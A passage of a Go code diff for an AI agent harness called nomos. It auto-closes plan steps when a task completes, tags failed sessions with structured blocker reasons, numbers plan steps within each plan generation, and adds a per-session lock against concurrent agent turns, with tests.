|
||||
return errPlanStepNotFound
|
||||
}
|
||||
return err
|
||||
}
|
||||
// Anchor the event to the step's target entity when it has one, else the task.
|
||||
@@ -809,6 +1110,72 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
||||
s.pool.Exec(ctx, `UPDATE nomos_plan_executions SET continued_at = now()
|
||||
WHERE session_id = $1 AND continued_at IS NULL`, sessionID)
|
||||
|
||||
// P1.4 (2026-07-20): auto-close any in-flight plan steps so the agent
|
||||
// doesn't need an update_plan_step(running)→update_plan_step(done)
|
||||
// dance for each step right before completion. Session 8c76bb3a
|
||||
// (greeting + title-sync test) burned 4 update_plan_step calls for a
|
||||
// one-step plan. completeTask is the authoritative terminal — any
|
||||
// step still in pending/running when the task ends is closed (as
|
||||
// "done" for success, "skipped" for partial/failure) so the UI's plan
|
||||
// view doesn't show orphaned running steps on a completed task.
|
||||
// Replaced/cancelled/blocked steps are left alone.
|
||||
closeStatus := "done"
|
||||
if outcome != "success" {
|
||||
closeStatus = "skipped"
|
||||
}
|
||||
// Auto-close only the CURRENT generation's in-flight steps — superseded
|
||||
// generations were already resolved when their plan was replaced. Stamp
|
||||
// started_at so no `done` step is left with a NULL start time (P0.1 fix
|
||||
// 5), and emit a plan.step.finished event per closed step so the panel
|
||||
// converges instead of freezing on "running" after the task completes
|
||||
// (P1.1: no bulk plan-step status write without a corresponding event).
|
||||
type closingStep struct {
|
||||
id uuid.UUID
|
||||
seq int
|
||||
targetSlug *string
|
||||
}
|
||||
var toClose []closingStep
|
||||
if rows, qerr := s.pool.Query(ctx, `
|
||||
SELECT id, seq, target_slug FROM session_plan_steps
|
||||
WHERE session_id = $1
|
||||
AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)
|
||||
AND status IN ('pending', 'running')`, sessionID); qerr == nil {
|
||||
for rows.Next() {
|
||||
var cs closingStep
|
||||
if err := rows.Scan(&cs.id, &cs.seq, &cs.targetSlug); err == nil {
|
||||
toClose = append(toClose, cs)
|
||||
}
|
||||
}
|
||||
rows.Close()
|
||||
}
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
UPDATE session_plan_steps
|
||||
SET status = $2,
|
||||
started_at = COALESCE(started_at, now()),
|
||||
finished_at = COALESCE(finished_at, now())
|
||||
WHERE session_id = $1
|
||||
AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)
|
||||
AND status IN ('pending', 'running')`,
|
||||
sessionID, closeStatus); err != nil {
|
||||
slog.Warn("nomos: completeTask failed to auto-close in-flight steps", "session", sessionID, "error", err)
|
||||
}
|
||||
// Emit one plan.step.finished per closed step so the live panel advances
|
||||
// (mirrors updatePlanStep's event). A bulk UPDATE that skips the event
|
||||
// bus guarantees a stale panel — the rule is: no plan-step status change
|
||||
// without a corresponding event.
|
||||
taskEnt := s.taskEntityPtr(ctx, sessionID)
|
||||
for _, cs := range toClose {
|
||||
evEnt := taskEnt
|
||||
if cs.targetSlug != nil && *cs.targetSlug != "" {
|
||||
var tid uuid.UUID
|
||||
if s.pool.QueryRow(ctx, `SELECT id FROM entities WHERE slug = $1`, *cs.targetSlug).Scan(&tid) == nil {
|
||||
evEnt = &tid
|
||||
}
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(s.pool), "plan.step.finished", evEnt, "info", "nomos", sessionID,
|
||||
map[string]any{"step_id": cs.id.String(), "seq": cs.seq, "status": closeStatus})
|
||||
}
|
||||
|
||||
// Clean up assent and destructive window keys from autonomy_settings.
|
||||
s.pool.Exec(ctx, `DELETE FROM autonomy_settings
|
||||
WHERE key LIKE '%:' || $1`, sessionID)
|
||||
@@ -817,9 +1184,22 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
||||
if outcome == "failure" {
|
||||
status = "failed"
|
||||
}
|
||||
// P1.5 (2026-07-20): derive a structured blocker reason when the
|
||||
// outcome is partial/failed, so trend analysis can answer "why are
|
||||
// sessions failing?" without parsing free-text summaries. Three
|
||||
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all
|
||||
// bounced off the classifier; without a blocker field, the *why* was
|
||||
// buried in the last assistant message. The signatures matched here
|
||||
// are the recurring ones from the 2026-07-20 session audit. Empty for
|
||||
// success — that's not a blocker.
|
||||
blocker := ""
|
||||
if outcome != "success" {
|
||||
blocker = deriveBlocker(ctx, s, sessionID, summary)
|
||||
}
|
||||
if _, err := s.pool.Exec(ctx, `
|
||||
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4, last_active_at = now()
|
||||
WHERE id = $1`, sessionID, status, outcome, summary); err != nil {
|
||||
UPDATE agent_sessions SET status = $2, outcome = $3, summary = $4,
|
||||
blocker = $5, closed_at = now(), last_active_at = now()
|
||||
WHERE id = $1`, sessionID, status, outcome, summary, blocker); err != nil {
|
||||
return err
|
||||
}
|
||||
var entID uuid.UUID
|
||||
@@ -837,10 +1217,58 @@ func (s *store) completeTask(ctx context.Context, sessionID, outcome, summary st
|
||||
}
|
||||
_ = observability.Event(ctx, sqlcgen.New(s.pool), "task.status", entPtr, severity, "nomos", sessionID,
|
||||
map[string]any{"status": status, "outcome": outcome, "summary": summary,
|
||||
"cancelled_executions": cancelledCount})
|
||||
"cancelled_executions": cancelledCount, "blocker": blocker})
|
||||
return nil
|
||||
}
|
||||
|
||||
// blockerPatterns maps a substring (case-insensitive) to a structured blocker
|
||||
// reason. Order matters — earlier patterns take precedence. These are the
|
||||
// recurring failure signatures from the 2026-07-20 session audit. A
|
||||
// real-world blocker that doesn't match any of these falls through to
|
||||
// "uncategorized" — better than empty, because empty means "we don't know
|
||||
// it's a blocker at all." See plans/2026-07-20-session-review-ten-sessions.md.
|
||||
var blockerPatterns = []struct {
|
||||
pattern string
|
||||
reason string
|
||||
}{
|
||||
{"queued for approval", "approval_timeout"},
|
||||
{"assent window", "approval_timeout"},
|
||||
{"cancel", "user_abandoned"},
|
||||
{"close this session", "user_abandoned"},
|
||||
{"lets just close", "user_abandoned"},
|
||||
{"classifier flagged", "classifier_overreach"},
|
||||
{"config_mutation", "classifier_overreach"},
|
||||
{"refus", "model_refusal"}, // refuses/refused/refusal
|
||||
{"empty response", "model_empty_response"},
|
||||
{"no local knowledge", "missing_knowledge"},
|
||||
{"can't run", "missing_capability"},
|
||||
{"cannot run", "missing_capability"},
|
||||
{"timeout", "tool_error"},
|
||||
{"error", "tool_error"},
|
||||
}
|
||||
|
||||
// deriveBlocker scans the last assistant message + the summary for known
|
||||
// failure signatures and returns the matching structured reason. Returns
|
||||
// "uncategorized" when outcome is partial/failed but no signature matched —
|
||||
// better than "" because the audit needs to know this WAS blocked, just for
|
||||
// an unknown reason. Returns "" for success outcomes (caller checks first).
|
||||
func deriveBlocker(ctx context.Context, s *store, sessionID, summary string) string {
|
||||
// Pull the last assistant text — that's where the agent's parting
|
||||
// words explain why it didn't finish.
|
||||
var lastText string
|
||||
_ = s.pool.QueryRow(ctx, `
|
||||
SELECT content::text FROM agent_messages
|
||||
WHERE session_id = $1 AND role = 'assistant'
|
||||
ORDER BY created_at DESC LIMIT 1`, sessionID).Scan(&lastText)
|
||||
haystack := strings.ToLower(lastText + " " + summary)
|
||||
for _, p := range blockerPatterns {
|
||||
if strings.Contains(haystack, p.pattern) {
|
||||
return p.reason
|
||||
}
|
||||
}
|
||||
return "uncategorized"
|
||||
}
|
||||
|
||||
// hadEntityWriteback checks whether this session called update_entity_attributes
|
||||
// or create_relationship — used by complete_task to warn the agent when it
|
||||
// forgot to persist entity facts (the #1 cause of knowledge graph drift).
|
||||
@@ -989,15 +1417,23 @@ type planStep struct {
|
||||
|
||||
// getPlanSteps returns a task's plan in order — REST hydration for the context
|
||||
// panel when it first opens a task (live events only carry deltas from then on).
|
||||
func (s *store) getPlanSteps(ctx context.Context, sessionID string) ([]planStep, error) {
|
||||
// By default only the CURRENT (MAX) generation is returned — the panel shows the
|
||||
// live plan, not an archaeological record of every superseded generation. Pass
|
||||
// all=true for the audit/eval view that needs every generation (the
|
||||
// plan_generations assertion counts distinct generations across the full set).
|
||||
func (s *store) getPlanSteps(ctx context.Context, sessionID string, all bool) ([]planStep, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
genFilter := ""
|
||||
if !all {
|
||||
genFilter = "AND generation = (SELECT MAX(generation) FROM session_plan_steps WHERE session_id = $1)"
|
||||
}
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT id::text, seq, title, detail, status,
|
||||
execution_id::text, target_slug,
|
||||
started_at::text, finished_at::text, generation
|
||||
FROM session_plan_steps WHERE session_id = $1 ORDER BY seq`, sessionID)
|
||||
FROM session_plan_steps WHERE session_id = $1 `+genFilter+` ORDER BY generation, seq`, sessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -205,7 +205,7 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
||||
}
|
||||
|
||||
// The original step 1 must be untouched — not erased, not appended to.
|
||||
steps, err := s.getPlanSteps(ctx, sess.ID)
|
||||
steps, err := s.getPlanSteps(ctx, sess.ID, false)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps: %v", err)
|
||||
}
|
||||
@@ -217,7 +217,8 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
||||
}
|
||||
|
||||
// Third call BEFORE anything runs on a fresh session: every step is
|
||||
// still pending, so this must REPLACE, not refuse.
|
||||
// still pending, so this must REPLACE (mark the prior plan `replaced`),
|
||||
// not refuse. The new plan becomes generation 2.
|
||||
sess2, err := s.createSession(ctx, "plan replace test")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
@@ -228,15 +229,146 @@ func TestProposePlan_RefuseInFlight(t *testing.T) {
|
||||
if _, err := s.proposePlan(ctx, sess2.ID, []planStepInput{{Title: "Revised"}}); err != nil {
|
||||
t.Fatalf("proposePlan (revise before execution): %v", err)
|
||||
}
|
||||
revisedSteps, err := s.getPlanSteps(ctx, sess2.ID)
|
||||
// Default (current generation) view: only the revised step.
|
||||
revisedSteps, err := s.getPlanSteps(ctx, sess2.ID, false)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps: %v", err)
|
||||
}
|
||||
if len(revisedSteps) != 1 || revisedSteps[0].Title != "Revised" {
|
||||
t.Fatalf("got %+v, want a single 'Revised' step (pre-execution revise must replace, not refuse)", revisedSteps)
|
||||
t.Fatalf("got %+v, want a single 'Revised' step (current-generation view)", revisedSteps)
|
||||
}
|
||||
if revisedSteps[0].Generation != 1 {
|
||||
t.Fatalf("revised step generation = %d, want 1 (fresh-start after DELETE resets generation)", revisedSteps[0].Generation)
|
||||
if revisedSteps[0].Seq != 1 {
|
||||
t.Fatalf("revised step seq = %d, want 1 (seq is generation-relative, resets to 1..N)", revisedSteps[0].Seq)
|
||||
}
|
||||
if revisedSteps[0].Generation != 2 {
|
||||
t.Fatalf("revised step generation = %d, want 2 (prior pending plan is replaced, not deleted, so the counter increments)", revisedSteps[0].Generation)
|
||||
}
|
||||
// all=true audit view: both generations, the original marked `replaced`.
|
||||
allSteps, err := s.getPlanSteps(ctx, sess2.ID, true)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps(all): %v", err)
|
||||
}
|
||||
if len(allSteps) != 2 {
|
||||
t.Fatalf("all=true got %d steps, want 2 (Original replaced gen1 + Revised gen2)", len(allSteps))
|
||||
}
|
||||
if allSteps[0].Title != "Original" || allSteps[0].Status != "replaced" || allSteps[0].Generation != 1 {
|
||||
t.Errorf("gen1 step = %+v, want Original/replaced/gen1", allSteps[0])
|
||||
}
|
||||
if allSteps[1].Title != "Revised" || allSteps[1].Generation != 2 || allSteps[1].Seq != 1 {
|
||||
t.Errorf("gen2 step = %+v, want Revised/gen2/seq1", allSteps[1])
|
||||
}
|
||||
}
|
||||
|
||||
// TestUpdatePlanStep_GenerationRelative is the P0.1 regression proof: after a
|
||||
// re-plan, update_plan_step(seq=N) — using the 1-based number the model
|
||||
// naturally carries — must address the CURRENT generation and never resurrect
|
||||
// a superseded generation's `replaced` row. Before the fix, seq was globally
|
||||
// increasing across generations, so seq=1 after a re-plan flipped the gen-1
|
||||
// `replaced` step back to `running`/`done` while the real gen-2 work went
|
||||
// unrecorded.
|
||||
func TestUpdatePlanStep_GenerationRelative(t *testing.T) {
|
||||
s := newTestStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
sess, err := s.createSession(ctx, "gen-relative seq test")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
// Generation 1: two steps.
|
||||
if _, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "A"}, {Title: "B"}}); err != nil {
|
||||
t.Fatalf("proposePlan #1: %v", err)
|
||||
}
|
||||
// Re-plan: setGoal marks the gen-1 plan `replaced`, proposePlan starts gen 2.
|
||||
if err := s.setGoal(ctx, sess.ID, "follow-up sub-task"); err != nil {
|
||||
t.Fatalf("setGoal: %v", err)
|
||||
}
|
||||
if _, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "C"}, {Title: "D"}}); err != nil {
|
||||
t.Fatalf("proposePlan #2: %v", err)
|
||||
}
|
||||
|
||||
// The model addresses the new plan with 1-based seq. seq=1 must hit
|
||||
// gen-2 "C", leaving gen-1 "A" (replaced) untouched.
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", ""); err != nil {
|
||||
t.Fatalf("updatePlanStep(seq=1, running): %v", err)
|
||||
}
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "done", ""); err != nil {
|
||||
t.Fatalf("updatePlanStep(seq=1, done): %v", err)
|
||||
}
|
||||
|
||||
all, err := s.getPlanSteps(ctx, sess.ID, true)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps(all): %v", err)
|
||||
}
|
||||
byTitle := map[string]planStep{}
|
||||
for _, st := range all {
|
||||
byTitle[st.Title] = st
|
||||
}
|
||||
// gen-1 steps stay `replaced` — NOT resurrected to running/done.
|
||||
if byTitle["A"].Status != "replaced" || byTitle["A"].Generation != 1 {
|
||||
t.Errorf("A = %+v, want replaced/gen1 (a superseded row must never be touched)", byTitle["A"])
|
||||
}
|
||||
if byTitle["B"].Status != "replaced" || byTitle["B"].Generation != 1 {
|
||||
t.Errorf("B = %+v, want replaced/gen1", byTitle["B"])
|
||||
}
|
||||
// gen-2 seq=1 advanced; seq=2 untouched.
|
||||
if byTitle["C"].Status != "done" || byTitle["C"].Generation != 2 || byTitle["C"].Seq != 1 {
|
||||
t.Errorf("C = %+v, want done/gen2/seq1 (the 1-based update must address the current generation)", byTitle["C"])
|
||||
}
|
||||
if byTitle["D"].Status != "pending" || byTitle["D"].Seq != 2 {
|
||||
t.Errorf("D = %+v, want pending/seq2", byTitle["D"])
|
||||
}
|
||||
|
||||
// Out-of-range seq must be refused (no current-gen step there).
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 99, "running", ""); !errors.Is(err, errPlanStepNotFound) {
|
||||
t.Fatalf("updatePlanStep(seq=99) err = %v, want errPlanStepNotFound", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestCompleteTask_AutoCloseEmitsEvents is the P1.1 regression proof:
|
||||
// completeTask's bulk auto-close of in-flight steps must emit one
|
||||
// plan.step.finished event per closed step (so the live panel converges
|
||||
// instead of freezing on "running" after the task completes) and must stamp
|
||||
// started_at so no closed step is left un-timestamped (P0.1 fix 5).
|
||||
func TestCompleteTask_AutoCloseEmitsEvents(t *testing.T) {
|
||||
s := newTestStore(t)
|
||||
ctx := context.Background()
|
||||
|
||||
sess, err := s.createSession(ctx, "auto-close events test")
|
||||
if err != nil {
|
||||
t.Fatalf("createSession: %v", err)
|
||||
}
|
||||
if _, err := s.proposePlan(ctx, sess.ID, []planStepInput{{Title: "A"}, {Title: "B"}}); err != nil {
|
||||
t.Fatalf("proposePlan: %v", err)
|
||||
}
|
||||
// A is running, B still pending at completion time.
|
||||
if err := s.updatePlanStep(ctx, sess.ID, 1, "running", ""); err != nil {
|
||||
t.Fatalf("updatePlanStep(1, running): %v", err)
|
||||
}
|
||||
if err := s.completeTask(ctx, sess.ID, "success", "done"); err != nil {
|
||||
t.Fatalf("completeTask: %v", err)
|
||||
}
|
||||
|
||||
// Every auto-closed step should now carry both a started_at and a
|
||||
// finished_at (no NULL-started `done` step).
|
||||
steps, err := s.getPlanSteps(ctx, sess.ID, true)
|
||||
if err != nil {
|
||||
t.Fatalf("getPlanSteps: %v", err)
|
||||
}
|
||||
for _, st := range steps {
|
||||
if st.Status == "done" && st.StartedAt == nil {
|
||||
t.Errorf("step %q done but started_at is NULL (P0.1 fix 5: stamp it)", st.Title)
|
||||
}
|
||||
}
|
||||
|
||||
// Exactly two plan.step.finished events — one per closed step (A and B).
|
||||
var finished int
|
||||
if err := s.pool.QueryRow(ctx,
|
||||
`SELECT COUNT(*) FROM events WHERE type = 'plan.step.finished' AND correlation_id = $1`,
|
||||
sess.ID).Scan(&finished); err != nil {
|
||||
t.Fatalf("count events: %v", err)
|
||||
}
|
||||
if finished != 2 {
|
||||
t.Fatalf("plan.step.finished events = %d, want 2 (one per auto-closed step)", finished)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@ import (
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Task tools are nomos-LOCAL, not MCP tools. They are session-scoped, and the
|
||||
@@ -185,7 +186,38 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
// what the SOUL.md "approve the plan, not each step" model actually
|
||||
// describes. set_goal records the goal + flips status to executing
|
||||
// and nothing more.
|
||||
return "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval.", true
|
||||
response := "Goal set: " + goal + ". NEXT: pre-plan with read-only tools (search_knowledge, get_entity, list_lxcs, get_relations), then propose_plan (mandatory — even read-only tasks need a one-step plan; the run handler refuses without one). After propose_plan: if all steps are read-only, execute immediately (no approval needed). If any step is config_mutation/destructive, stop and wait for operator approval."
|
||||
// P1.3 (2026-07-20): surface prior partial/failed sessions for the
|
||||
// same problem so the agent can pick up the thread instead of
|
||||
// rediscovering it. Three rclone sessions (a51e2086, 8acea2e3,
|
||||
// cb8c8a4a) all bounced off the classifier because each new session
|
||||
// started from scratch. The agent gets a hint with the prior
|
||||
// goal + summary; if it looks related, search_knowledge or open
|
||||
// the prior session's transcript (GET /sessions/{id}) before
|
||||
// re-planning. See plans/2026-07-20-session-review-ten-sessions.md.
|
||||
prior, _ := a.store.recentPartialSessions(ctx, sessionID, 24*time.Hour)
|
||||
if len(prior) > 0 {
|
||||
var b strings.Builder
|
||||
b.WriteString("\n\nNOTE — recent unfinished sessions (last 24h, outcome=partial/failed):")
|
||||
for i, p := range prior {
|
||||
if i >= 5 {
|
||||
b.WriteString(fmt.Sprintf("\n ...and %d more", len(prior)-5))
|
||||
break
|
||||
}
|
||||
sum := p.Summary
|
||||
if sum == "" {
|
||||
sum = "(no summary)"
|
||||
}
|
||||
if len(sum) > 200 {
|
||||
sum = sum[:200] + "..."
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("\n - %s (sid %s, outcome=%s): %s",
|
||||
p.Goal, p.ID[:8], p.Outcome, sum))
|
||||
}
|
||||
b.WriteString("\nIf any of these looks like the same problem, search_knowledge for the prior investigation or read it via GET /sessions/{id} before re-planning — don't rediscover what was already learned.")
|
||||
response += b.String()
|
||||
}
|
||||
return response, true
|
||||
|
||||
case "propose_plan":
|
||||
raw, _ := args["steps"].([]any)
|
||||
@@ -213,13 +245,17 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
// the seq-order enforcement (5.6) require it to be completed last,
|
||||
// and D.1's complete_task gate enforces the actual calls. Together
|
||||
// they close the loop structurally — neither relies on the agent
|
||||
// reading SOUL.md.
|
||||
// reading SOUL.md. The match is broadened past the literal tool
|
||||
// names so a natural-language step ("Write back: update entity
|
||||
// attributes…") isn't doubled by an auto-appended duplicate (P1.2).
|
||||
hasWritebackStep := false
|
||||
for _, st := range steps {
|
||||
if strings.Contains(st.Title, "update_entity_attributes") ||
|
||||
strings.Contains(st.Title, "create_relationship") ||
|
||||
strings.Contains(st.Detail, "update_entity_attributes") ||
|
||||
strings.Contains(st.Detail, "create_relationship") {
|
||||
t := strings.ToLower(st.Title + " " + st.Detail)
|
||||
if strings.Contains(t, "update_entity_attributes") ||
|
||||
strings.Contains(t, "create_relationship") ||
|
||||
strings.Contains(t, "upsert_knowledge") ||
|
||||
strings.Contains(t, "write back") ||
|
||||
strings.Contains(t, "writeback") {
|
||||
hasWritebackStep = true
|
||||
break
|
||||
}
|
||||
@@ -248,8 +284,19 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
// The writeback step is now always present (D.2 auto-appends it if
|
||||
// the agent forgot), so the old advisory nudge is replaced by the
|
||||
// structural gate: D.1 refuses complete_task without the actual
|
||||
// update_entity_attributes/create_relationship calls.
|
||||
result := fmt.Sprintf("Plan set (%d steps)%s. If all steps are read-only, execute now — call update_plan_step(running) + run for each step, no approval needed. If any step is config_mutation/destructive, STOP and wait for operator approval (\"approved\", \"yes\", \"go\", \"proceed\", \"continue\", \"ok\", \"go ahead\"). Do not call propose_plan again.", len(persisted), appendedNote)
|
||||
// update_entity_attributes/create_relationship calls. Enumerate the
|
||||
// step seqs so the model knows exactly which numbers to address with
|
||||
// update_plan_step (seq is 1-based within this plan — the addressing
|
||||
// key, not a global counter).
|
||||
var seqs strings.Builder
|
||||
for i, p := range persisted {
|
||||
if i > 0 {
|
||||
seqs.WriteString("; ")
|
||||
}
|
||||
title := fmt.Sprint(p["title"])
|
||||
fmt.Fprintf(&seqs, "%v=%s", p["seq"], title)
|
||||
}
|
||||
result := fmt.Sprintf("Plan set (%d steps): %s.%s Address them with update_plan_step(seq=N). If all steps are read-only, execute now — call update_plan_step(running) + run for each step, no approval needed. If any step is config_mutation/destructive, STOP and wait for operator approval (\"approved\", \"yes\", \"go\", \"proceed\", \"continue\", \"ok\", \"go ahead\"). Do not call propose_plan again.", len(persisted), seqs.String(), appendedNote)
|
||||
return result, true
|
||||
|
||||
case "update_plan_step":
|
||||
@@ -260,6 +307,15 @@ func (a *agent) handleTaskTool(ctx context.Context, sessionID, name string, args
|
||||
return "error: update_plan_step needs seq (>=1) and status", true
|
||||
}
|
||||
if err := a.store.updatePlanStep(ctx, sessionID, seq, status, execID); err != nil {
|
||||
if errors.Is(err, errPlanStepNotFound) {
|
||||
// The seq doesn't address a step in the CURRENT plan — most
|
||||
// often a stale 1-based number the model carried across a
|
||||
// re-plan, or an out-of-range seq. seq is generation-relative
|
||||
// (1..N within the latest propose_plan), so a superseded
|
||||
// generation's row is never touched (P0.1 fix 3). Direct the
|
||||
// model instead of silently no-op'ing.
|
||||
return fmt.Sprintf("Step %d is not in the current plan. seq is 1-based within your latest propose_plan (a re-plan resets it to 1..N, so an old step number no longer applies). The plan was not changed. Re-address with the correct 1-based seq, or if you've lost track, re-read the plan.", seq), true
|
||||
}
|
||||
return fmt.Sprintf("error updating step %d: %v", seq, err), true
|
||||
}
|
||||
return fmt.Sprintf("Step %d → %s. (Advance with update_plan_step + run; do not re-propose.)", seq, status), true
|
||||
|
||||
90
cmd/nomos/turngate.go
Normal file
90
cmd/nomos/turngate.go
Normal file
@@ -0,0 +1,90 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// turnGate enforces at most one in-flight agent turn per session.
|
||||
//
|
||||
// Why this exists (plan 2026-08-03, F1): handleChat runs a turn in the HTTP
|
||||
// request goroutine, and every "resume" path (the empty-message reconnect,
|
||||
// the auto-continuation worker, the idle sweep, answer-question, the /resume
|
||||
// endpoint) launches ANOTHER goroutine running a full turn. Nothing prevented
|
||||
// two turns for the SAME session at once, so a network blip that triggered a
|
||||
// reconnect would spawn a duplicate resumeSession while the original turn was
|
||||
// still alive — their tool calls interleaved on the wire and in the persisted
|
||||
// transcript, which is the root cause behind the "parallel/nesting/sequence
|
||||
// is off" and "task didn't end / flaky" reports.
|
||||
//
|
||||
// Model: one permit (buffered-1 channel seeded with a single token) per
|
||||
// session id. Acquiring consumes the token; releasing puts it back.
|
||||
// - Background/best-effort callers (resumeSession and everything it backs)
|
||||
// use a non-blocking acquire and SKIP when busy — a duplicate nudge while a
|
||||
// turn is already running adds nothing, and the continuation/idle tickers
|
||||
// will retry on their own.
|
||||
// - The live chat path (an operator message) waits briefly for a finishing
|
||||
// background turn, then bails with an actionable error if still busy — see
|
||||
// handleChat.
|
||||
//
|
||||
// The permits map grows one entry per session id seen. For this single-agent
|
||||
// homelab process that set is small and bounded by real sessions; cleanup is
|
||||
// intentionally omitted (a sweep would race with acquire/release and the
|
||||
// memory is negligible).
|
||||
type turnGate struct {
|
||||
mu sync.Mutex
|
||||
permits map[string]chan struct{}
|
||||
}
|
||||
|
||||
func newTurnGate() *turnGate {
|
||||
return &turnGate{permits: make(map[string]chan struct{})}
|
||||
}
|
||||
|
||||
// permit returns the single token-channel for sessionID, creating and seeding
|
||||
// it on first use. Creation is guarded so two concurrent first-callers for the
|
||||
// same id share one channel.
|
||||
func (g *turnGate) permit(sessionID string) chan struct{} {
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
ch, ok := g.permits[sessionID]
|
||||
if !ok {
|
||||
ch = make(chan struct{}, 1)
|
||||
ch <- struct{}{}
|
||||
g.permits[sessionID] = ch
|
||||
}
|
||||
return ch
|
||||
}
|
||||
|
||||
// acquire takes the session's permit. With wait <= 0 it is non-blocking
|
||||
// (returns false immediately if a turn is active). With wait > 0 it blocks up
|
||||
// to wait for the permit, returning false on timeout. Every true return MUST
|
||||
// be paired with exactly one release.
|
||||
func (g *turnGate) acquire(sessionID string, wait time.Duration) bool {
|
||||
ch := g.permit(sessionID)
|
||||
if wait <= 0 {
|
||||
select {
|
||||
case <-ch:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
t := time.NewTimer(wait)
|
||||
defer t.Stop()
|
||||
select {
|
||||
case <-ch:
|
||||
return true
|
||||
case <-t.C:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// release returns the session's permit. Idempotent: a release with no matching
|
||||
// acquire (or a double release) is a no-op rather than a blocking send.
|
||||
func (g *turnGate) release(sessionID string) {
|
||||
ch := g.permit(sessionID)
|
||||
select {
|
||||
case ch <- struct{}{}:
|
||||
default:
|
||||
}
|
||||
}
|
||||
114
cmd/nomos/turngate_test.go
Normal file
114
cmd/nomos/turngate_test.go
Normal file
@@ -0,0 +1,114 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestTurnGate_NonBlockingSkipsWhenBusy(t *testing.T) {
|
||||
g := newTurnGate()
|
||||
if !g.acquire("s1", 0) {
|
||||
t.Fatal("first non-blocking acquire should succeed on a free session")
|
||||
}
|
||||
// A second non-blocking acquire (a background resume) must skip, not queue.
|
||||
if g.acquire("s1", 0) {
|
||||
t.Fatal("second non-blocking acquire should fail while a turn is active")
|
||||
}
|
||||
// A different session is independent.
|
||||
if !g.acquire("s2", 0) {
|
||||
t.Fatal("acquire on a different session should succeed")
|
||||
}
|
||||
g.release("s2")
|
||||
g.release("s1")
|
||||
// After release, the session is free again.
|
||||
if !g.acquire("s1", 0) {
|
||||
t.Fatal("acquire should succeed again after release")
|
||||
}
|
||||
g.release("s1")
|
||||
}
|
||||
|
||||
func TestTurnGate_BlockingAcquireWaitsForRelease(t *testing.T) {
|
||||
g := newTurnGate()
|
||||
if !g.acquire("s1", 0) {
|
||||
t.Fatal("first acquire should succeed")
|
||||
}
|
||||
|
||||
got := make(chan bool, 1)
|
||||
go func() { got <- g.acquire("s1", 2*time.Second) }()
|
||||
|
||||
select {
|
||||
case <-got:
|
||||
t.Fatal("blocking acquire should wait, not return before release")
|
||||
case <-time.After(50 * time.Millisecond):
|
||||
// expected: still waiting
|
||||
}
|
||||
|
||||
g.release("s1")
|
||||
select {
|
||||
case ok := <-got:
|
||||
if !ok {
|
||||
t.Fatal("blocking acquire should succeed after release")
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("blocking acquire did not return after release")
|
||||
}
|
||||
g.release("s1")
|
||||
}
|
||||
|
||||
func TestTurnGate_BlockingAcquireTimesOut(t *testing.T) {
|
||||
g := newTurnGate()
|
||||
g.acquire("s1", 0) // hold the permit
|
||||
|
||||
start := time.Now()
|
||||
if g.acquire("s1", 60*time.Millisecond) {
|
||||
t.Fatal("acquire should time out while permit is held")
|
||||
}
|
||||
if elapsed := time.Since(start); elapsed < 50*time.Millisecond {
|
||||
t.Fatalf("acquire returned too fast (%v); expected to wait ~60ms", elapsed)
|
||||
}
|
||||
g.release("s1")
|
||||
}
|
||||
|
||||
// TestTurnGate_SingleFlightConcurrent is the core F1 guarantee: many concurrent
|
||||
// background acquirers on the SAME session, exactly one runs at a time. This is
|
||||
// the property that prevents two turns interleaving tool calls.
|
||||
func TestTurnGate_SingleFlightConcurrent(t *testing.T) {
|
||||
g := newTurnGate()
|
||||
const n = 50
|
||||
var inFlight, maxInFlight int64
|
||||
var runs int64
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(n)
|
||||
start := make(chan struct{})
|
||||
